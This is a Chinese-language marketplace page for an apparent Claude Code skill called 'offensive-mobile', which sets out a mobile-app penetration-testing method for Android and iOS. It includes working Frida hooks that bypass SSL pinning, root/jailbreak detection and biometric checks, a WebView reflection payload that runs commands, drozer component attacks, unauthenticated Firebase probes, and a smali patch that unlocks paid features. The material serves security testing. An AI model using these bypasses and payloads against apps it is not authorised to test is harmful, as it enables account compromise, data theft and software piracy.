mcpField
O
offensive-mobile

offensive-mobile

github.com/snailsploit安全9.7k178 次安装2 周前更新
代码仓库

关于 offensive-mobile

面向 Android 和 iOS 应用安全测试的技能,将静态与动态分析、攻击面审查、存储和 API 检查,以及常见验证绕过测试组织为一套测试方法。

主要功能

  1. 01Android 与 iOS 静态分析
  2. 02基于 Frida 的动态测试
  3. 03导出组件与深层链接审查
  4. 04存储与 Keychain 审计
  5. 05移动 API 安全测试
  6. 06篡改与身份验证检查

适用场景

  1. 01检查 APK 或 IPA 中暴露的机密
  2. 02测试应用流量与证书固定
  3. 03评估深层链接和导出组件
  4. 04审计移动端存储与后端 API

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/snailsploit/claude-red --skill offensive-mobile

安装后在 Claude Code 中输入/offensive-mobile确认已加载。

详细介绍

移动端(Android + iOS)——攻防测试方法

快速工作流

  1. 静态分析:提取 IPA/APK,反编译,转储资源/字符串,识别端点
  2. 动态分析:在已 root/越狱的设备上安装,使用 Frida hook,拦截 TLS
  3. 梳理导出的攻击面:深层链接、URL scheme、导出的组件
  4. 存储 / Keystore 审计:机密数据存储在哪里,由什么保护
  5. API:应用通信的每个后端都在测试范围内——按 Web 应用的方式测试

实验环境配置

Android
  • 已 root 的设备,或带 userdebug 构建版本的 Genymotion / Android Studio AVD
  • 使用 Magisk 实现无系统分区 root;使用 LSPosed 进行 hook;使用与设备架构匹配的 Frida server
  • Burp / Mitmproxy,通过 Magisk 模块(MagiskTrustUserCerts)将 CA 设为系统信任
iOS
  • 已越狱的设备(根据 iOS 版本选择 palera1n / checkra1n / Dopamine)
  • Frida + Objection + Filza + 通过 USB 使用 SSH(iproxy 2222 22)
  • 通过“设置” →“通用”→“设备管理”→“证书信任设置”安装 Burp CA

静态分析

Android
# Decode resources + smali
apktool d app.apk -o app

# Decompile to Java
jadx -d app_src app.apk

# Manifest review
xmllint --format app/AndroidManifest.xml | less
# Look for: android:exported="true", intent-filters, custom permissions, debuggable, allowBackup, networkSecurityConfig
# Secrets and endpoints
grep -rE '(https?://[a-z0-9.-]+|api[_-]?key|secret|token|firebase|amazonaws|appspot)' app_src/
grep -r "Log\.[dwief]" app_src/   # leftover debug logs

# Native libs
file app/lib/*/*.so
# RE in Ghidra/IDA; look for JNI_OnLoad and exported Java_* functions
iOS
# Pull IPA from device
frida-ios-dump -o app.ipa "com.vendor.app"

# Or via App Store via 3rd-party tools (Apple Configurator with paid acct, etc.)
unzip app.ipa
# Decrypt if needed (jailbroken device): bagbak / clutch
bagbak com.vendor.app

# Class dump
class-dump-dyld -H Payload/App.app/App -o headers/
# Or for Swift symbols, use Hopper / IDA

# Strings / endpoints
strings -a Payload/App.app/App | grep -E '(https?://|key|secret|api)'
# Info.plist analysis
plutil -p Payload/App.app/Info.plist
# Look for: NSAppTransportSecurity exceptions, CFBundleURLTypes (URL schemes),
# associated-domains entitlements, UIFileSharingEnabled, ATS exemptions

动态分析与 Frida

常用 Hook
// Bypass SSL pinning (Android — generic OkHttp/CertificatePinner/TrustManager)
Java.perform(() => {
  const X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
  const TrustManagerFactory = Java.use('javax.net.ssl.TrustManagerFactory');
  // ... full bypass scripts: codeshare.frida.re/@pcipolloni/universal-android-ssl-pinning-bypass-with-frida
});

// Bypass root detection
Java.perform(() => {
  const File = Java.use('java.io.File');
  File.exists.implementation = function () {
    const path = this.getAbsolutePath();
    if (path.includes('su') || path.includes('Magisk')) return false;
    return this.exists();
  };
});

// iOS — bypass jailbreak detection
const stat = Module.findExportByName(null, 'stat');
Interceptor.attach(stat, {
  onEnter(args) {
    const path = args[0].readUtf8String();
    if (/Cydia|jailbreak|substrate|frida/i.test(path)) {
      args[0] = Memory.allocUtf8String('/nonexistent');
    }
  }
});
Objection(基于 Frida 的快捷操作)
objection -g com.vendor.app explore
# Then inside:
android sslpinning disable
android root disable
android hooking list activities
android intent launch_activity com.vendor.app/.SecretActivity
ios sslpinning disable
ios jailbreak disable
ios keychain dump

SSL / TLS 拦截

Android 网络安全配置

如果应用使用 <network-security-config> 要求使用其自身固定的 CA:编辑 res/xml/network_security_config.xml,然后重新打包:

apktool b app -o app-patched.apk
apksigner sign --ks debug.keystore app-patched.apk

或者使用 Frida 实时绕过(首选——无需重新编译)。

iOS ATS / 固定证书

对于证书固定,可使用 Frida hook SecTrustEvaluate* / NSURLSession 代理方法。Info.plist 中的 ATS 例外(NSAllowsArbitraryLoads)会使 MITM 在未启用证书固定时轻而易举。


导出的攻击面 / IPC

Android——导出的组件
drozer console connect
> run app.package.attacksurface com.vendor.app
> run app.activity.start --component com.vendor.app .ExportedActivity \
    --extra string url 'javascript:alert(1)'
> run app.provider.query content://com.vendor.app.provider/secrets

目标:

  • exported="true" 的 activity → 从其他应用调用,绕过身份验证
  • 未设置 grantUriPermissions 的 ContentProvider → 任意读取
  • 执行特权操作的 Receiver(处理 BOOT_COMPLETED 等)
  • 通过 intent extra 绑定的服务 → 命令注入
Intent 重定向 / PendingIntent 劫持
// Vulnerable: PendingIntent with implicit Intent given to untrusted app
PendingIntent.getActivity(this, 0, new Intent(), FLAG_MUTABLE)
// Attacker fills the empty Intent → action runs with victim app's identity
iOS——URL Scheme / Universal Links
# Open custom scheme (test from another app)
plutil -p Payload/App.app/Info.plist | grep -A 5 CFBundleURLTypes
# Then on device:
xcrun simctl openurl booted "vendorapp://payment?to=ATTACKER&amount=9999"

Universal Links:检查关联域名上的 apple-app-site-association——该域名上的开放重定向 → Universal Link 声明 → 应用内 WebView 导航。

iOS XPC / Mach 服务

launchctl list | grep com.vendor 可枚举应用的启动服务。未正确验证审计令牌的 XPC 处理程序会接受来自任何进程的消息。


不安全的数据存储

Android
# On device (root), pull app data
adb shell "su -c 'tar -cz /data/data/com.vendor.app'" > app_data.tgz

检查:

  • shared_prefs/*.xml — 明文存储的偏好设置
  • databases/*.db — SQLite(使用 sqlite3 转储)
  • files/ — 任意写入
  • cache/ 和外部存储(sdcard/Android/data/...)— 通常可被其他应用读取
Android Keystore 误用
  • 创建密钥时未调用 setUserAuthenticationRequired(true) → 进程运行期间可随时使用
  • AES-GCM 重用 IV(开发者经常硬编码 IV)
  • RSA 未使用正确填充(PKCS1 v1.5 与 OAEP)
iOS Keychain
# Objection
ios keychain dump
# Look for kSecAttrAccessible values:
#   AlwaysThisDeviceOnly  → readable when phone locked (bad for secrets)
#   WhenUnlocked          → standard
#   AlwaysThisDeviceOnly  → bypasses screen lock

iOS 数据保护级别:即使设备已锁定,越狱设备上的 NSFileProtectionNone 文件仍可读取。


WebView 漏洞

Android addJavascriptInterface

如果应用暴露了可通过反射访问对象的 JS bridge,那么任何已加载页面中的 JS 都能调用任意 Java 方法。

// In a page loaded by the WebView
JSBridge.getClass().forName('java.lang.Runtime')
  .getMethod('exec', String).invoke(JSBridge.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null), 'id')
file:// 和 Content://

WebView 设置了 setAllowFileAccessFromFileURLs(true),再加上用户打开的 HTML 附件 → 可读取应用有权访问的任意文件。

iOS WKWebView
  • WKWebViewConfiguration.preferences.javaScriptCanOpenWindowsAutomatically
  • 暴露了 wkScriptMessageHandler ——存在与 Android 相同的 JS bridge 风险
  • 使用 loadFileURL 加载文件 URL,并通过 allowingReadAccessTo 指定宽泛的目录

生物识别 / 身份验证绕过

Android BiometricPrompt

未将加密操作绑定到身份验证的应用所使用的 BiometricPrompt 可通过 hook 结果回调绕过。

Java.perform(() => {
  const Cb = Java.use('androidx.biometric.BiometricPrompt$AuthenticationCallback');
  Cb.onAuthenticationSucceeded.implementation = function (r) {
    return this.onAuthenticationSucceeded(r);  // accept whatever
  };
  Cb.onAuthenticationFailed.implementation = function () { /* ignore */ };
});
iOS LAContext

evaluatePolicy(.deviceOwnerAuthenticationWithBiometrics)——如果应用信任布尔结果,却没有使用与生物识别绑定的 Keychain 项目,就可以绕过。

const LAContext = ObjC.classes.LAContext;
Interceptor.attach(LAContext['- evaluatePolicy:localizedReason:reply:'].implementation, {
  onEnter(args) {
    const cb = new ObjC.Block(args[4]);
    const orig = cb.implementation;
    cb.implementation = function(success, err) { orig.call(this, true, NULL); };
  }
});

开发侧的修复方法是在 Keychain 中使用与生物识别绑定的密钥——上述绕过方式无法获得密钥。


Firebase / 云配置错误(命中率最高)

Firebase Realtime DB(仍然很常见)

从应用中提取 URL:

strings app.apk | grep -E "https://[a-z0-9-]+\.firebaseio\.com"
# Test for unauth read
curl https://target-app.firebaseio.com/.json
# If returns data → unauth read
Firestore

规则配置错误为 allow read, write: if true;——可在应用的 REST 调用中看到。使用匿名 SDK 或直接通过 REST 测试。

S3 / GCS / Azure Blob

API 响应中的未签名 URL,或者可以从应用包中猜出桶名称——测试公开读取、公开写入和 ACL。

内嵌 API 密钥

Google Maps 密钥是否正确受限?Stripe 可发布密钥还是秘密密钥?Twilio?以明文形式存储的 AWS 访问密钥(仍然会发生)→ 云端接管。

truffleHog filesystem app_src/
gitleaks detect --source app_src/

移动 API 测试

后端与 Web 应用相同——提取端点后,转用 Web/API 测试方法。移动端特有的情况:

  • 设备绑定标头(X-Device-ID、X-App-Version、X-Signature)通常可以在客户端计算。提取二进制文件中的算法。
  • 请求签名:使用内嵌在应用中的密钥进行 HMAC → 游戏结束,可以对任何内容签名。
  • 仅限移动端的端点,因为它们“受应用身份验证保护”而跳过速率限制
  • 仍在使用的旧版 API:新版应用已弃用 /api/v1/...,但服务器仍以较弱的身份验证方式提供服务。
  • 推送通知主题:订阅 /topics/<predictable> 可能会收到发给其他人的消息(Firebase Messaging)。

应用篡改与重新打包

# Patch a check (e.g. premium=true)
# Smali edit
sed -i 's/return-void/const\/4 v0, 0x1\n    return v0/' app/smali/com/vendor/Premium.smali
apktool b app -o patched.apk
apksigner sign --ks debug.keystore patched.apk
adb install -r patched.apk

对于商业版绕过,请使用 LSPosed 模块,这样无需修改原始 APK——可绕过用于限制重新打包版本的签名检查。


iOS 特有内容

权限
codesign -d --entitlements - Payload/App.app/App

查找:keychain-access-groups(跨应用 Keychain)、com.apple.security.application-groups(共享容器)、com.apple.developer.associated-domains(通用链接)、私有权限(少见)。

来自其他应用的 URL 方案
[[UIApplication sharedApplication] openURL:[NSURL URLWithString:@"vendorapp://..."]];

任何应用都可以调用任何已注册的 URL 方案。会验证发送方吗?大多数应用不会。

应用组共享容器
/private/var/mobile/Containers/Shared/AppGroup/<UUID>/

同一供应商的多个应用共享此容器——其中的秘密会跨越应用边界。


检测 / 防御者视角

检测方式绕过方法
检测 Frida 服务端(端口 27042 已开放)在备用端口运行 frida-server,使用 frida -H
通过 /sbin/magisk 检测 MagiskMagisk Hide / DenyList
模拟器检测在真实设备上运行,或伪造 Build.FINGERPRINT 等
iOS 越狱检测(文件是否存在)使用 Frida hook stat / fopen / dlopen
反调试 ptrace(PT_DENY_ATTACH)基于 Frida-stalker 的方法,或修补内核
证书固定Frida 通用证书固定绕过
应用完整性验证(Play Integrity / DeviceCheck)难度高——通常需要服务端绕过或中继应用完整性验证令牌

测试检查清单

[ ] Pull IPA/APK from device
[ ] Decompile / class-dump
[ ] Grep for endpoints, keys, tokens
[ ] Manifest / Info.plist review
[ ] Static-find exported components, deep links, URL schemes
[ ] Install on rooted/jailbroken; configure Frida
[ ] Bypass pinning, MITM all traffic
[ ] Test every API the app calls (web methodology)
[ ] Test exported components from another app / drozer / runtime
[ ] Inspect on-device storage (sharedprefs, sqlite, keychain)
[ ] Test biometric flows for unbound auth
[ ] Test deep links / URL schemes for auth bypass / open redirect / IDOR
[ ] Cloud config: Firebase rules, S3 buckets, signed URLs
[ ] Push topics / subscription model
[ ] Device-binding / signing scheme analysis

关键参考资料

评论

支持 Markdown